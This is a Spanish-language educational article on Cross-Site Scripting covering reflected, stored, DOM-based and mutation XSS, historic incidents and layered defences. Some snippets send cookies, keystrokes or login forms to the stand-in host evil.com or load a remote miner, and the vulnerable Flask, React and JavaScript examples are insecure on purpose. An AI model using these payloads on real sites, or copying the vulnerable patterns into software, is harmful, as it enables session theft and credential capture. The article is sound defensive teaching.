Intermediovulnerabilidadesxsswebjavascriptfundamentos

Cross-Site Scripting (XSS): El Ataque que Nunca Muere

XSS lleva más de 25 años entre nosotros y sigue en el top 10 de OWASP. Inyectar JavaScript en páginas web que ven otros usuarios permite robar sesiones, credenciales, minar criptomonedas y modificar contenido. Análisis de los tres tipos (Reflected, Stored, DOM-based), incidentes reales como el gusano Samy, TweetDeck y British Airways, y defensas modernas incluyendo CSP, HttpOnly y DOMPurify.

MalwareIntel Research··16 min lectura·1 técnica ATT&CK

La vulnerabilidad que lleva 25 años negándose a desaparecer

En 1999, un investigador de Microsoft describió por primera vez un tipo de ataque que permitía inyectar scripts en páginas web vistas por otros usuarios. Lo llamaron Cross-Site Scripting, abreviado XSS (con X para evitar confusión con CSS, las hojas de estilo). Desde entonces, XSS ha sobrevivido a la evolución de la web desde páginas estáticas hasta aplicaciones de una sola página (SPA), frameworks reactivos y arquitecturas serverless.

Más de dos décadas después, XSS sigue apareciendo en el top 10 de OWASP. En 2021, OWASP lo fusionó dentro de la categoría A03:2021 Injection, pero no porque hubiera dejado de ser relevante, sino porque se había vuelto tan ubicuo que merecía una categoría más amplia. Los programas de bug bounty siguen pagando millones al año por vulnerabilidades XSS. HackerOne reporta que XSS representa consistentemente una de las categorías con más envíos válidos en su plataforma.

¿Por qué un ataque de 1999 sigue siendo relevante en 2026? Porque mientras las aplicaciones web acepten input del usuario y lo rendericen de vuelta, la superficie de ataque existirá.

¿Qué es XSS exactamente?

Cross-Site Scripting ocurre cuando una aplicación web incluye datos no confiables en su salida sin validación ni codificación adecuada. El resultado: el navegador de la víctima ejecuta código JavaScript controlado por el atacante, en el contexto de la sesión de la víctima.

La premisa es simple. El navegador no puede distinguir entre el JavaScript legítimo de la página y el JavaScript inyectado por un atacante. Para el motor de renderizado, todo es código que debe ejecutar. Si el atacante consigue que su <script> aparezca en el HTML que recibe el navegador, ese código se ejecuta con los mismos privilegios que el JavaScript original de la aplicación.

Esto significa acceso completo a:

  • Cookies de sesión (salvo que sean HttpOnly)
  • LocalStorage y SessionStorage
  • El DOM completo (formularios, contenido, elementos ocultos)
  • APIs del navegador (cámara, micrófono, geolocalización, si hay permisos previos)
  • Peticiones HTTP a cualquier endpoint en nombre de la víctima (CSRF implícito)

Los tres tipos de XSS

Reflected XSS (XSS reflejado)

El tipo más común y el más sencillo de entender. El payload viaja en la URL o en los parámetros de una petición HTTP, el servidor lo incluye en la respuesta sin sanitizar, y el navegador lo ejecuta.

Ejemplo de código vulnerable:

# Backend Python (Flask) - VULNERABLE
@app.route('/search')
def search():
    query = request.args.get('q', '')
    return f'<h1>Resultados para: {query}</h1>'

Si un atacante envía a la víctima un enlace como:

https://ejemplo.com/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>

El servidor devuelve:

<h1>Resultados para: <script>document.location='https://evil.com/steal?c='+document.cookie</script></h1>

El navegador ejecuta el script. La cookie de sesión de la víctima se envía al servidor del atacante.

Código seguro equivalente:

# Backend Python (Flask) - SEGURO
from markupsafe import escape

@app.route('/search')
def search():
    query = escape(request.args.get('q', ''))
    return f'<h1>Resultados para: {query}</h1>'

La función escape() convierte < en &lt;, > en &gt; y otros caracteres especiales en sus entidades HTML. El navegador muestra el texto literal en lugar de ejecutarlo.

Stored XSS (XSS persistente)

El payload se almacena en el servidor (base de datos, sistema de archivos, caché) y se sirve a todos los usuarios que visitan la página afectada. Es significativamente más peligroso que Reflected XSS porque no requiere que la víctima haga clic en un enlace específico.

Ejemplo de código vulnerable:

// Frontend React - VULNERABLE
function Comment({ comment }) {
  return (
    <div
      dangerouslySetInnerHTML={{ __html: comment.body }}
    />
  );
}

Si un usuario publica un comentario con contenido como:

Buen artículo!<img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">

El comentario se guarda en la base de datos. Cada vez que un usuario carga la página, el navegador intenta cargar la imagen con src x, falla, y ejecuta el handler onerror. Sin que nadie haga clic en nada.

Código seguro equivalente:

// Frontend React - SEGURO
function Comment({ comment }) {
  // React escapa automáticamente el contenido por defecto
  return <div>{comment.body}</div>;
}

// O si necesitas HTML parcial, usar DOMPurify:
import DOMPurify from 'dompurify';

function Comment({ comment }) {
  const clean = DOMPurify.sanitize(comment.body);
  return (
    <div dangerouslySetInnerHTML={{ __html: clean }} />
  );
}

DOM-based XSS

La variante más sutil. El payload nunca llega al servidor. Todo ocurre en el navegador, cuando JavaScript del frontend lee datos de una fuente no confiable y los escribe en el DOM sin sanitización.

Ejemplo de código vulnerable:

// JavaScript vanilla - VULNERABLE
// URL: https://ejemplo.com/page#<img src=x onerror=alert(1)>
const hash = location.hash.substring(1);
document.getElementById('content').innerHTML = decodeURIComponent(hash);

El fragmento después del # en una URL nunca se envía al servidor (es procesado exclusivamente por el navegador). Los WAFs (Web Application Firewalls) y la sanitización del servidor no ven este payload. El JavaScript lee location.hash y lo inserta directamente en el DOM con innerHTML, que interpreta las etiquetas HTML.

Código seguro equivalente:

// JavaScript vanilla - SEGURO
const hash = location.hash.substring(1);
document.getElementById('content').textContent = decodeURIComponent(hash);

La diferencia crítica: textContent trata todo como texto plano. innerHTML interpreta HTML. Esa distinción de un solo atributo es la diferencia entre una aplicación segura y una vulnerable.

Fuentes peligrosas (sources) en DOM-based XSS:

  • location.hash, location.search, location.href
  • document.referrer
  • document.cookie
  • window.name
  • postMessage data
  • localStorage / sessionStorage

Sumideros peligrosos (sinks):

  • innerHTML, outerHTML
  • document.write(), document.writeln()
  • eval(), setTimeout(string), setInterval(string)
  • new Function(string)
  • element.setAttribute() con atributos de evento

Incidentes reales que demostraron el poder de XSS

El gusano Samy (MySpace, 2005)

El 4 de octubre de 2005, Samy Kamkar, un programador de 19 años de Los Ángeles, publicó un perfil en MySpace con código JavaScript oculto. En menos de 20 horas, más de un millón de usuarios ejecutaron el payload sin saberlo, convirtiéndolo en uno de los gusanos de propagación más rápida de la historia.

El ataque combinaba XSS almacenado con técnicas de evasión ingeniosas. MySpace bloqueaba las etiquetas <script>, pero Kamkar descubrió que podía usar javascript: dentro de atributos CSS con background:url. También dividió la palabra "javascript" en fragmentos para evadir los filtros de texto.

El payload hacía dos cosas: añadía a Samy Kamkar como amigo del visitante y modificaba el perfil del visitante para incluir el texto "but most of all, samy is my hero" junto con una copia del gusano. Cada perfil infectado se convertía en un nuevo vector de propagación.

MySpace tuvo que cerrar la plataforma completa para contener el brote. Kamkar fue finalmente condenado a tres años de libertad condicional, 90 días de servicio comunitario y una multa.

La lección del gusano Samy: un XSS almacenado en una plataforma con millones de usuarios no es un bug menor. Es un vector de propagación exponencial.

TweetDeck (2014)

El 11 de junio de 2014, un estudiante austríaco de 19 años llamado Firo descubrió una vulnerabilidad XSS en TweetDeck (el cliente de escritorio de Twitter) mientras experimentaba con un símbolo de corazón en Unicode. Descubrió que TweetDeck no sanitizaba correctamente el contenido de los tweets antes de renderizarlos.

Antes de que Twitter pudiera parchear la vulnerabilidad, alguien creó un tweet malicioso con código que se auto-retweeteaba automáticamente usando el atributo data-action:retweet. El resultado fue un gusano XSS que se propagó de forma exponencial. Un solo tweet se retweeteó más de 38.000 veces en dos minutos. Otro superó los 80.000 retweets. Cuentas importantes como BBC Breaking News fueron afectadas.

Twitter tuvo que desactivar TweetDeck por completo, investigar el alcance y desplegar un parche antes de reactivar el servicio.

British Airways y Magecart (2018)

Entre el 21 de agosto y el 5 de septiembre de 2018, el grupo criminal Magecart ejecutó un ataque de tipo supply chain contra British Airways. Los atacantes comprometieron credenciales de un proveedor externo, accedieron a la red de BA y modificaron el archivo JavaScript Modernizr.js que se cargaba en el sitio web de la aerolínea.

Añadieron apenas 22 líneas de código al archivo legítimo. Esas 22 líneas se activaban específicamente en la página de confirmación de pago, capturaban los datos de los formularios (nombre, dirección, número de tarjeta, fecha de expiración y CVV) y los enviaban a baways.com, un dominio registrado por los atacantes que imitaba el dominio real de BA.

Aproximadamente 429.000 clientes fueron afectados. La Information Commissioner's Office (ICO) del Reino Unido impuso una multa de 20 millones de libras esterlinas bajo el GDPR.

Lo relevante de este caso: los atacantes no necesitaron explotar un XSS clásico en el sentido de inyectar código a través de un formulario. Comprometieron directamente un archivo JavaScript servido a los usuarios. El resultado fue el mismo: código controlado por el atacante ejecutándose en el navegador de las víctimas, en el contexto de una sesión autenticada, con acceso a datos sensibles.

Impacto real de XSS: más allá del alert(1)

En demostraciones y CTFs, XSS se ilustra con alert(1). En el mundo real, las posibilidades son mucho más amplias:

Robo de sesiones

// Enviar la cookie de sesión al atacante
new Image().src = 'https://evil.com/collect?c=' + document.cookie;

Con la cookie de sesión, el atacante puede suplantar al usuario sin necesidad de credenciales.

Keylogging en tiempo real

// Capturar cada tecla pulsada en la página
document.addEventListener('keypress', function(e) {
  new Image().src = 'https://evil.com/log?k=' + e.key;
});

Esto captura contraseñas, mensajes, búsquedas: todo lo que el usuario escriba mientras la página esté abierta.

Phishing interno (formjacking)

// Reemplazar el formulario de login con uno que envía a servidor externo
document.querySelector('form[action="/login"]').action = 'https://evil.com/phish';

La víctima ve la URL legítima en la barra del navegador. El formulario parece idéntico. Pero las credenciales se envían al atacante.

Minería de criptomonedas

// Inyectar un minero de Monero en el navegador de cada visitante
const s = document.createElement('script');
s.src = 'https://evil.com/miner.js';
document.body.appendChild(s);

Si el XSS es de tipo Stored en una página con mucho tráfico, miles de navegadores minan simultáneamente para el atacante.

Propagación tipo gusano

Como demostraron Samy y TweetDeck: si el XSS permite escribir contenido que otros usuarios ven, el payload puede copiarse a sí mismo en cada perfil/página que visite un usuario infectado. La propagación es exponencial.

Defensas: capas complementarias

No existe una sola defensa que elimine XSS por completo. La protección efectiva requiere múltiples capas.

1. Output encoding (codificación de salida)

La defensa más fundamental. Codificar los datos del usuario antes de insertarlos en el HTML, aplicando la codificación correcta según el contexto:

ContextoCodificación
Contenido HTML&lt; &gt; &amp; &quot; &#x27;
Atributos HTMLTodas las anteriores + codificar con comillas
JavaScript\xHH para caracteres especiales
URLs%HH (URL encoding)
CSS\HHHHHH (CSS escaping)

Error frecuente: aplicar encoding HTML en un contexto JavaScript. Cada contexto requiere su propia codificación.

2. Content Security Policy (CSP)

CSP es una cabecera HTTP que le dice al navegador qué fuentes de contenido son legítimas:

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-abc123'; style-src 'self' 'unsafe-inline'; img-src *; object-src 'none'

Esta política dice: solo ejecutar scripts del mismo dominio o con el nonce abc123. No permitir plugins (Flash, Java). Imágenes desde cualquier fuente. Estilos inline permitidos.

Implementación con nonces (la más segura):

<!-- El servidor genera un nonce aleatorio por cada petición -->
<script nonce="abc123">
  // Este script se ejecuta porque tiene el nonce correcto
  console.log('legítimo');
</script>

<script>
  // Este script inyectado se bloquea: no tiene nonce
  document.cookie; // BLOQUEADO por CSP
</script>

El nonce cambia en cada petición. Un atacante que inyecte un <script> no puede adivinar el nonce correcto.

Errores comunes en CSP que anulan su protección:

  • script-src 'unsafe-inline': permite scripts inline, exactamente lo que XSS inyecta.
  • script-src 'unsafe-eval': permite eval(), que un atacante puede usar para ejecutar código.
  • script-src https:: permite cualquier script servido por HTTPS, incluyendo CDNs que el atacante controle.

3. Cookies HttpOnly y SameSite

Set-Cookie: session_id=abc123; HttpOnly; Secure; SameSite=Strict
  • HttpOnly: el cookie no es accesible desde JavaScript (document.cookie no lo devuelve). Esto no previene XSS, pero elimina el vector de robo de sesión más directo.
  • Secure: solo se transmite por HTTPS.
  • SameSite=Strict: no se envía en peticiones cross-site, mitigando CSRF.

4. DOMPurify para HTML del usuario

Cuando la aplicación necesita permitir HTML parcial (editores rich text, comentarios con formato), la sanitización es obligatoria:

import DOMPurify from 'dompurify';

// Permite solo etiquetas y atributos seguros
const clean = DOMPurify.sanitize(userInput, {
  ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
  ALLOWED_ATTR: ['href', 'title'],
  ALLOW_DATA_ATTR: false,
});

element.innerHTML = clean;

DOMPurify es la librería de sanitización más auditada y mantenida. Aun así, ha tenido bypasses a través de mutation XSS (ver sección siguiente). Mantenerla actualizada es crítico.

5. Frameworks modernos con escape por defecto

React, Vue, Angular y Svelte escapan automáticamente el contenido que se renderiza. El peligro aparece cuando el desarrollador opta explícitamente por saltarse esa protección:

FrameworkEscape por defectoOpt-out peligroso
React{variable} es segurodangerouslySetInnerHTML
Vue{{ variable }} es segurov-html
AngularInterpolación es segura[innerHTML] con bypassSecurityTrustHtml
Svelte{variable} es seguro{@html variable}

La regla: si el nombre de la API incluye palabras como "dangerous", "bypass", "trust" o "raw", es una señal de que estás desactivando una protección de seguridad.

Mutation XSS (mXSS): la variante que evade sanitizadores

Mutation XSS es una clase de ataque descubierta formalmente en 2013 que explota las diferencias entre cómo un sanitizador parsea HTML y cómo lo hace el motor de rendering del navegador.

El concepto es elegante y aterrador a la vez. El atacante envía HTML deliberadamente malformado. El sanitizador lo analiza y concluye que es inofensivo. Pero cuando el navegador inserta ese HTML en el DOM, las reglas de corrección de errores de HTML5, los cambios de namespace (HTML, SVG, MathML) y los modos de parsing transforman el contenido inerte en código ejecutable.

¿Cómo funciona?

Los sanitizadores como DOMPurify parsean el HTML usando el motor del navegador (a través de DOMParser o un documento template). Pero el resultado de ese parseo puede mutar cuando se inserta en un contexto diferente. Las diferencias surgen porque:

  1. Namespaces SVG/MathML tienen reglas de parsing distintas a HTML.
  2. El parser HTML5 corrige automáticamente HTML malformado, y esas correcciones pueden cambiar la estructura del documento.
  3. La reinserción de HTML parseado en un nuevo contexto puede activar un reparseo con resultados diferentes.

Un ejemplo simplificado del concepto (no un exploit funcional):

<!-- El sanitizador ve esto como una estructura inerte -->
<math><mtext><table><mglyph><style><!--</style><img src=x onerror=alert(1)>

El sanitizador puede interpretar <!-- como el inicio de un comentario HTML que neutraliza el <img>. Pero cuando el navegador procesa la estructura completa con el cambio de namespace de MathML a HTML, las reglas de corrección de errores pueden reinterpretar los elementos y exponer el <img> con su handler onerror.

mXSS ha logrado evadir DOMPurify, Google Caja, Mozilla Bleach y otros sanitizadores reconocidos. En 2024, investigadores de Sonar demostraron nuevos vectores de mXSS que afectaban a la última versión de DOMPurify en ese momento.

Mitigaciones contra mXSS:

  • Mantener DOMPurify en la última versión (los bypasses se parchean rápidamente).
  • Usar la API Sanitizer nativa del navegador cuando esté disponible en todos los navegadores objetivo.
  • Evitar insertar HTML sanitizado en contextos de namespace diferentes (SVG, MathML).
  • Complementar con CSP estricto como red de seguridad.

Por qué XSS nunca desaparecerá (del todo)

Hay razones estructurales por las que XSS persiste:

1. La web es fundamentalmente un sistema de renderizado de contenido mixto. HTML, CSS y JavaScript conviven en el mismo documento. Cada vez que datos del usuario se insertan en cualquiera de esos contextos, hay riesgo.

2. La complejidad crece exponencialmente. Una aplicación moderna puede cargar scripts de 15 orígenes diferentes (analytics, ads, chat widgets, A/B testing, CDNs). Cada uno es una dependencia que podría ser comprometida (como demostró British Airways).

3. Los frameworks protegen el caso general, pero los desarrolladores necesitan excepciones. Los editores de texto enriquecido, los dashboards con widgets personalizables, los sistemas de templates: todos necesitan renderizar algo de HTML del usuario. Y ahí reaparecen los riesgos.

4. El ecosistema JavaScript evoluciona más rápido que las herramientas de seguridad. Nuevos frameworks, nuevas APIs del navegador, nuevos patrones (server components, streaming SSR, islands architecture) crean contextos donde las reglas anteriores de sanitización pueden no aplicar.

5. Mutation XSS demuestra que incluso los sanitizadores perfectos no lo son. Si el comportamiento del parser depende del contexto de inserción, la seguridad del sanitizado depende de factores que el sanitizador no controla.

Checklist de prevención XSS

Para desarrolladores y equipos de seguridad, estas son las medidas esenciales:

  • Codificar la salida en el contexto correcto (HTML, JavaScript, URL, CSS). Nunca confiar en un solo tipo de encoding para todos los contextos.
  • Implementar CSP estricto con nonces o hashes. Evitar unsafe-inline y unsafe-eval. Desplegar primero en modo report-only para identificar scripts legítimos.
  • Marcar cookies sensibles como HttpOnly y SameSite=Strict. Esto no previene XSS pero limita el impacto.
  • Usar DOMPurify (actualizado) cuando sea necesario renderizar HTML del usuario. Configurar la lista de etiquetas y atributos permitidos al mínimo necesario.
  • Evitar innerHTML, document.write y eval en código que procese datos del usuario. Preferir textContent, createElement y APIs tipadas.
  • Auditar dependencias de terceros. Un script de analytics comprometido tiene el mismo efecto que un XSS inyectado por un formulario.
  • Usar cabeceras de seguridad complementarias: X-Content-Type-Options: nosniff para evitar que el navegador interprete tipos MIME incorrectamente.

Conexión con MITRE ATT&CK

XSS se mapea principalmente a T1059.007 (Command and Scripting Interpreter: JavaScript). En el contexto de ATT&CK:

  • Acceso inicial (T1189): Drive-by compromise, donde la víctima visita una página con XSS almacenado.
  • Ejecución (T1059.007): El payload JavaScript se ejecuta en el navegador.
  • Acceso a credenciales (T1539): Robo de cookies de sesión y tokens.
  • Exfiltración (T1041): Los datos robados se envían al servidor del atacante a través del canal HTTP estándar.

La técnica MITRE D3FEND relevante es D3-SPE (Script Execution Prevention), que incluye CSP como contramedida técnica.

Conclusión

XSS no es un bug del pasado. Es una consecuencia inherente de cómo funciona la web: un sistema diseñado para mezclar contenido, estilo y comportamiento en un mismo documento, alimentado por datos de millones de fuentes diferentes.

Las defensas han mejorado enormemente desde 2005. Los frameworks modernos escapan por defecto. CSP permite definir políticas granulares. HttpOnly protege las cookies más sensibles. Pero cada nueva capa de complejidad en la web (microservicios, edge computing, server components) crea nuevos contextos donde las reglas anteriores necesitan reevaluarse.

El gusano Samy de MySpace infectó un millón de perfiles en 20 horas con un XSS almacenado. Dos décadas después, el vector fundamental sigue siendo el mismo: código del atacante que se ejecuta en el navegador de la víctima, con los privilegios de la sesión de la víctima. La forma cambia. El principio persiste.

Técnicas MITRE ATT&CK referenciadas

Preguntas frecuentes

Artículos relacionados

Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.